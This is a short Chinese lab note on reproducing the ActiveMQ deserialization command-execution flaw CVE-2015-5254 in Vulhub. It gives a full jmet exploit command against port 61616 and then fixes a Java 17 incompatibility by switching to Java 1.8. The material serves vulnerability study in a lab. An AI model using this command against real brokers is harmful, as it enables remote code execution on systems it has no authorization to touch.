Vulhub漏洞之ActiveMQ 反序列化任意命令执行漏洞 (CVE-2015-5254)【漏洞复现利用以及常见问题解决方案】

复现环境

kali2022、java1.8

所需工具

【jmet】下载地址

漏洞复现以及利用

具体过程参考此文章，但要注意命令中event的大小写问题，很多文章（包括vulhub官网）都存在这个书写的细节错误。

问题描述

运行如下命令：

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

报错信息：
Exception in thread “main” java.lang.IllegalAccessError:…
…because module java.xml dose not export…

可能原因

java版本太高不兼容，上述问题出现时所用java版本为java17。

解决方案

再安装一个较低版本的java，我安装的是java1.8，安装方法参考此文章。
修改系统使用的java版本参考此文章，只看最后一部分变更JDK版本，选择jdk1.8即可。